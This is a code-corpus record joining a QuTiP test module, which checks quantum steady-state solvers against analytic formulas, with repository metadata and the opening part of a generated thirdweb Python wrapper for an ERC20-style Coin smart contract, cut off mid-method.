2019-03-04T12:47:22.000Z

import numpy as np from numpy.testing import assert_, assert_equal, run_module_suite from qutip import (sigmaz, destroy, steadystate, expect, coherent_dm, build_preconditioner) def test_qubit_direct(): "Steady state: Thermal qubit - direct solver" # thermal steadystate of a qubit: compare numerics with analytical formula sz = sigmaz() sm = destroy(2) H = 0.5 * 2 * np.pi * sz gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * sm) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * sm.dag()) rho_ss = steadystate(H, c_op_list, method='direct') p_ss[idx] = expect(sm.dag() * sm, rho_ss) p_ss_analytic = np.exp(-1.0 / wth_vec) / (1 + np.exp(-1.0 / wth_vec)) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-5, True) def test_qubit_eigen(): "Steady state: Thermal qubit - eigen solver" # thermal steadystate of a qubit: compare numerics with analytical formula sz = sigmaz() sm = destroy(2) H = 0.5 * 2 * np.pi * sz gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * sm) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * sm.dag()) rho_ss = steadystate(H, c_op_list, method='eigen') p_ss[idx] = expect(sm.dag() * sm, rho_ss) p_ss_analytic = np.exp(-1.0 / wth_vec) / (1 + np.exp(-1.0 / wth_vec)) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-5, True) def test_qubit_power(): "Steady state: Thermal qubit - power solver" # thermal steadystate of a qubit: compare numerics with analytical formula sz = sigmaz() sm = destroy(2) H = 0.5 * 2 * np.pi * sz gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * sm) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * sm.dag()) rho_ss = steadystate(H, c_op_list, method='power', mtol=1e-5) p_ss[idx] = expect(sm.dag() * sm, rho_ss) p_ss_analytic = np.exp(-1.0 / wth_vec) / (1 + np.exp(-1.0 / wth_vec)) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-5, True) def test_qubit_power_gmres(): "Steady state: Thermal qubit - power-gmres solver" # thermal steadystate of a qubit: compare numerics with analytical formula sz = sigmaz() sm = destroy(2) H = 0.5 * 2 * np.pi * sz gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * sm) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * sm.dag()) rho_ss = steadystate(H, c_op_list, method='power-gmres', mtol=1e-1) p_ss[idx] = expect(sm.dag() * sm, rho_ss) p_ss_analytic = np.exp(-1.0 / wth_vec) / (1 + np.exp(-1.0 / wth_vec)) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-5, True) def test_qubit_power_bicgstab(): "Steady state: Thermal qubit - power-bicgstab solver" # thermal steadystate of a qubit: compare numerics with analytical formula sz = sigmaz() sm = destroy(2) H = 0.5 * 2 * np.pi * sz gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * sm) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * sm.dag()) rho_ss = steadystate(H, c_op_list, method='power-bicgstab', use_precond=1) p_ss[idx] = expect(sm.dag() * sm, rho_ss) p_ss_analytic = np.exp(-1.0 / wth_vec) / (1 + np.exp(-1.0 / wth_vec)) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-5, True) def test_qubit_gmres(): "Steady state: Thermal qubit - iterative-gmres solver" # thermal steadystate of a qubit: compare numerics with analytical formula sz = sigmaz() sm = destroy(2) H = 0.5 * 2 * np.pi * sz gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * sm) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * sm.dag()) rho_ss = steadystate(H, c_op_list, method='iterative-gmres') p_ss[idx] = expect(sm.dag() * sm, rho_ss) p_ss_analytic = np.exp(-1.0 / wth_vec) / (1 + np.exp(-1.0 / wth_vec)) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-5, True) def test_qubit_bicgstab(): "Steady state: Thermal qubit - iterative-bicgstab solver" # thermal steadystate of a qubit: compare numerics with analytical formula sz = sigmaz() sm = destroy(2) H = 0.5 * 2 * np.pi * sz gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * sm) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * sm.dag()) rho_ss = steadystate(H, c_op_list, method='iterative-bicgstab') p_ss[idx] = expect(sm.dag() * sm, rho_ss) p_ss_analytic = np.exp(-1.0 / wth_vec) / (1 + np.exp(-1.0 / wth_vec)) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-5, True) def test_ho_direct(): "Steady state: Thermal HO - direct solver" # thermal steadystate of an oscillator: compare numerics with analytical # formula a = destroy(40) H = 0.5 * 2 * np.pi * a.dag() * a gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * a) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * a.dag()) rho_ss = steadystate(H, c_op_list, method='direct') p_ss[idx] = np.real(expect(a.dag() * a, rho_ss)) p_ss_analytic = 1.0 / (np.exp(1.0 / wth_vec) - 1) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-3, True) def test_ho_eigen(): "Steady state: Thermal HO - eigen solver" # thermal steadystate of an oscillator: compare numerics with analytical # formula a = destroy(40) H = 0.5 * 2 * np.pi * a.dag() * a gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * a) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * a.dag()) rho_ss = steadystate(H, c_op_list, method='eigen') p_ss[idx] = np.real(expect(a.dag() * a, rho_ss)) p_ss_analytic = 1.0 / (np.exp(1.0 / wth_vec) - 1) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-3, True) def test_ho_power(): "Steady state: Thermal HO - power solver" # thermal steadystate of an oscillator: compare numerics with analytical # formula a = destroy(40) H = 0.5 * 2 * np.pi * a.dag() * a gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * a) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * a.dag()) rho_ss = steadystate(H, c_op_list, method='power', mtol=1e-5) p_ss[idx] = np.real(expect(a.dag() * a, rho_ss)) p_ss_analytic = 1.0 / (np.exp(1.0 / wth_vec) - 1) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-3, True) def test_ho_power_gmres(): "Steady state: Thermal HO - power-gmres solver" # thermal steadystate of an oscillator: compare numerics with analytical # formula a = destroy(40) H = 0.5 * 2 * np.pi * a.dag() * a gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * a) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * a.dag()) rho_ss = steadystate(H, c_op_list, method='power-gmres', mtol=1e-1, use_precond=1) p_ss[idx] = np.real(expect(a.dag() * a, rho_ss)) p_ss_analytic = 1.0 / (np.exp(1.0 / wth_vec) - 1) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-3, True) def test_ho_power_bicgstab(): "Steady state: Thermal HO - power-bicgstab solver" # thermal steadystate of an oscillator: compare numerics with analytical # formula a = destroy(40) H = 0.5 * 2 * np.pi * a.dag() * a gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * a) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * a.dag()) rho_ss = steadystate(H, c_op_list, method='power-bicgstab',use_precond=1) p_ss[idx] = np.real(expect(a.dag() * a, rho_ss)) p_ss_analytic = 1.0 / (np.exp(1.0 / wth_vec) - 1) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-3, True) def test_ho_gmres(): "Steady state: Thermal HO - iterative-gmres solver" # thermal steadystate of an oscillator: compare numerics with analytical # formula a = destroy(40) H = 0.5 * 2 * np.pi * a.dag() * a gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * a) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * a.dag()) rho_ss = steadystate(H, c_op_list, method='iterative-gmres') p_ss[idx] = np.real(expect(a.dag() * a, rho_ss)) p_ss_analytic = 1.0 / (np.exp(1.0 / wth_vec) - 1) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-3, True) def test_ho_bicgstab(): "Steady state: Thermal HO - iterative-bicgstab solver" # thermal steadystate of an oscillator: compare numerics with analytical # formula a = destroy(40) H = 0.5 * 2 * np.pi * a.dag() * a gamma1 = 0.05 wth_vec = np.linspace(0.1, 3, 20) p_ss = np.zeros(np.shape(wth_vec)) for idx, wth in enumerate(wth_vec): n_th = 1.0 / (np.exp(1.0 / wth) - 1) # bath temperature c_op_list = [] rate = gamma1 * (1 + n_th) c_op_list.append(np.sqrt(rate) * a) rate = gamma1 * n_th c_op_list.append(np.sqrt(rate) * a.dag()) rho_ss = steadystate(H, c_op_list, method='iterative-bicgstab') p_ss[idx] = np.real(expect(a.dag() * a, rho_ss)) p_ss_analytic = 1.0 / (np.exp(1.0 / wth_vec) - 1) delta = sum(abs(p_ss_analytic - p_ss)) assert_equal(delta < 1e-3, True) def test_driven_cavity_direct(): "Steady state: Driven cavity - direct solver" N = 30 Omega = 0.01 * 2 * np.pi Gamma = 0.05 a = destroy(N) H = Omega * (a.dag() + a) c_ops = [np.sqrt(Gamma) * a] rho_ss = steadystate(H, c_ops, method='direct') rho_ss_analytic = coherent_dm(N, -1.0j * (Omega)/(Gamma/2)) assert_((rho_ss - rho_ss_analytic).norm() < 1e-4) def test_driven_cavity_eigen(): "Steady state: Driven cavity - eigen solver" N = 30 Omega = 0.01 * 2 * np.pi Gamma = 0.05 a = destroy(N) H = Omega * (a.dag() + a) c_ops = [np.sqrt(Gamma) * a] rho_ss = steadystate(H, c_ops, method='eigen') rho_ss_analytic = coherent_dm(N, -1.0j * (Omega)/(Gamma/2)) assert_((rho_ss - rho_ss_analytic).norm() < 1e-4) def test_driven_cavity_power(): "Steady state: Driven cavity - power solver" N = 30 Omega = 0.01 * 2 * np.pi Gamma = 0.05 a = destroy(N) H = Omega * (a.dag() + a) c_ops = [np.sqrt(Gamma) * a] rho_ss = steadystate(H, c_ops, method='power', mtol=1e-5,) rho_ss_analytic = coherent_dm(N, -1.0j * (Omega)/(Gamma/2)) assert_((rho_ss - rho_ss_analytic).norm() < 1e-4) def test_driven_cavity_power_gmres(): "Steady state: Driven cavity - power-gmres solver" N = 30 Omega = 0.01 * 2 * np.pi Gamma = 0.05 a = destroy(N) H = Omega * (a.dag() + a) c_ops = [np.sqrt(Gamma) * a] M = build_preconditioner(H, c_ops, method='power') rho_ss = steadystate(H, c_ops, method='power-gmres', M=M, mtol=1e-1, use_precond=1) rho_ss_analytic = coherent_dm(N, -1.0j * (Omega)/(Gamma/2)) assert_((rho_ss - rho_ss_analytic).norm() < 1e-4) def test_driven_cavity_power_bicgstab(): "Steady state: Driven cavity - power-bicgstab solver" N = 30 Omega = 0.01 * 2 * np.pi Gamma = 0.05 a = destroy(N) H = Omega * (a.dag() + a) c_ops = [np.sqrt(Gamma) * a] M = build_preconditioner(H, c_ops, method='power') rho_ss = steadystate(H, c_ops, method='power-bicgstab', M=M, use_precond=1) rho_ss_analytic = coherent_dm(N, -1.0j * (Omega)/(Gamma/2)) assert_((rho_ss - rho_ss_analytic).norm() < 1e-4) def test_driven_cavity_gmres(): "Steady state: Driven cavity - iterative-gmres solver" N = 30 Omega = 0.01 * 2 * np.pi Gamma = 0.05 a = destroy(N) H = Omega * (a.dag() + a) c_ops = [np.sqrt(Gamma) * a] rho_ss = steadystate(H, c_ops, method='iterative-gmres') rho_ss_analytic = coherent_dm(N, -1.0j * (Omega)/(Gamma/2)) assert_((rho_ss - rho_ss_analytic).norm() < 1e-4) def test_driven_cavity_bicgstab(): "Steady state: Driven cavity - iterative-bicgstab solver" N = 30 Omega = 0.01 * 2 * np.pi Gamma = 0.05 a = destroy(N) H = Omega * (a.dag() + a) c_ops = [np.sqrt(Gamma) * a] rho_ss = steadystate(H, c_ops, method='iterative-bicgstab') rho_ss_analytic = coherent_dm(N, -1.0j * (Omega)/(Gamma/2)) assert_((rho_ss - rho_ss_analytic).norm() < 1e-4) if __name__ == "__main__": run_module_suite()

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confprint/err_print.py

lewiuberg/confprint

d092875b5bdac358c427d071371a9df991c0c6ab

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2022-02-09T08:11:34.000Z

confprint/err_print.py

lewiuberg/confprint

d092875b5bdac358c427d071371a9df991c0c6ab

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2021-10-17T05:59:47.000Z

2022-02-03T15:14:55.000Z

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lewiuberg/confprint

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resources/features/selected/0_True_LinearSVC_C=2.0-1487943476.673364-NAMES.py

Rostlab/LocText

3871f860a5a68c192fadca3f9a9af9e7df3f2887

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2019-02-19T02:54:32.000Z

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juanmirocks/LocText

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juanmirocks/LocText

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Python

thirdweb/abi/coin/__init__.py

princetonwong/python-sdk

f35181d97620e29d055498fca75f3702f3bb2449

[ "Apache-2.0" ]

1

2022-02-18T16:59:12.000Z

thirdweb/abi/coin/__init__.py

princetonwong/python-sdk

f35181d97620e29d055498fca75f3702f3bb2449

[ "Apache-2.0" ]

null

thirdweb/abi/coin/__init__.py

princetonwong/python-sdk

f35181d97620e29d055498fca75f3702f3bb2449

[ "Apache-2.0" ]

null

"""Generated wrapper for Coin Solidity contract.""" # pylint: disable=too-many-arguments import json from typing import ( # pylint: disable=unused-import Any, List, Optional, Tuple, Union, ) from eth_utils import to_checksum_address from mypy_extensions import TypedDict # pylint: disable=unused-import from hexbytes import HexBytes from thirdweb_web3 import Web3 from thirdweb_web3.contract import ContractFunction from thirdweb_web3.datastructures import AttributeDict from thirdweb_web3.providers.base import BaseProvider from zero_ex.contract_wrappers.bases import ContractMethod, Validator from zero_ex.contract_wrappers.tx_params import TxParams # Try to import a custom validator class definition; if there isn't one, # declare one that we can instantiate for the default argument to the # constructor for Coin below. try: # both mypy and pylint complain about what we're doing here, but this # works just fine, so their messages have been disabled here. from . import ( # type: ignore # pylint: disable=import-self CoinValidator, ) except ImportError: class CoinValidator( # type: ignore Validator ): """No-op input validator.""" try: from .middleware import MIDDLEWARE # type: ignore except ImportError: pass class DefaultAdminRoleMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the DEFAULT_ADMIN_ROLE method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> Union[bytes, str]: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return Union[bytes, str](returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class DomainSeparatorMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the DOMAIN_SEPARATOR method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> Union[bytes, str]: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return Union[bytes, str](returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class MinterRoleMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the MINTER_ROLE method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> Union[bytes, str]: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return Union[bytes, str](returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class PauserRoleMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the PAUSER_ROLE method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> Union[bytes, str]: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return Union[bytes, str](returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class TransferRoleMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the TRANSFER_ROLE method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> Union[bytes, str]: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return Union[bytes, str](returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class ContractUri_Method(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the _contractURI method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> str: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return str(returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class AllowanceMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the allowance method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, owner: str, spender: str): """Validate the inputs to the allowance method.""" self.validator.assert_valid( method_name='allowance', parameter_name='owner', argument_value=owner, ) owner = self.validate_and_checksum_address(owner) self.validator.assert_valid( method_name='allowance', parameter_name='spender', argument_value=spender, ) spender = self.validate_and_checksum_address(spender) return (owner, spender) def call(self, owner: str, spender: str, tx_params: Optional[TxParams] = None) -> int: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (owner, spender) = self.validate_and_normalize_inputs(owner, spender) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method( owner, spender).call(tx_params.as_dict()) return int(returned) def send_transaction(self, owner: str, spender: str, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (owner, spender) = self.validate_and_normalize_inputs(owner, spender) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(owner, spender).transact(tx_params.as_dict()) def build_transaction(self, owner: str, spender: str, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (owner, spender) = self.validate_and_normalize_inputs(owner, spender) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(owner, spender).buildTransaction(tx_params.as_dict()) def estimate_gas(self, owner: str, spender: str, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (owner, spender) = self.validate_and_normalize_inputs(owner, spender) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(owner, spender).estimateGas(tx_params.as_dict()) class ApproveMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the approve method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, spender: str, amount: int): """Validate the inputs to the approve method.""" self.validator.assert_valid( method_name='approve', parameter_name='spender', argument_value=spender, ) spender = self.validate_and_checksum_address(spender) self.validator.assert_valid( method_name='approve', parameter_name='amount', argument_value=amount, ) # safeguard against fractional inputs amount = int(amount) return (spender, amount) def call(self, spender: str, amount: int, tx_params: Optional[TxParams] = None) -> bool: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (spender, amount) = self.validate_and_normalize_inputs(spender, amount) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method( spender, amount).call(tx_params.as_dict()) return bool(returned) def send_transaction(self, spender: str, amount: int, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (spender, amount) = self.validate_and_normalize_inputs(spender, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(spender, amount).transact(tx_params.as_dict()) def build_transaction(self, spender: str, amount: int, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (spender, amount) = self.validate_and_normalize_inputs(spender, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(spender, amount).buildTransaction(tx_params.as_dict()) def estimate_gas(self, spender: str, amount: int, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (spender, amount) = self.validate_and_normalize_inputs(spender, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(spender, amount).estimateGas(tx_params.as_dict()) class BalanceOfMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the balanceOf method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, account: str): """Validate the inputs to the balanceOf method.""" self.validator.assert_valid( method_name='balanceOf', parameter_name='account', argument_value=account, ) account = self.validate_and_checksum_address(account) return (account) def call(self, account: str, tx_params: Optional[TxParams] = None) -> int: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (account) = self.validate_and_normalize_inputs(account) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method(account).call(tx_params.as_dict()) return int(returned) def send_transaction(self, account: str, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (account) = self.validate_and_normalize_inputs(account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(account).transact(tx_params.as_dict()) def build_transaction(self, account: str, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (account) = self.validate_and_normalize_inputs(account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(account).buildTransaction(tx_params.as_dict()) def estimate_gas(self, account: str, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (account) = self.validate_and_normalize_inputs(account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(account).estimateGas(tx_params.as_dict()) class BurnMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the burn method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, amount: int): """Validate the inputs to the 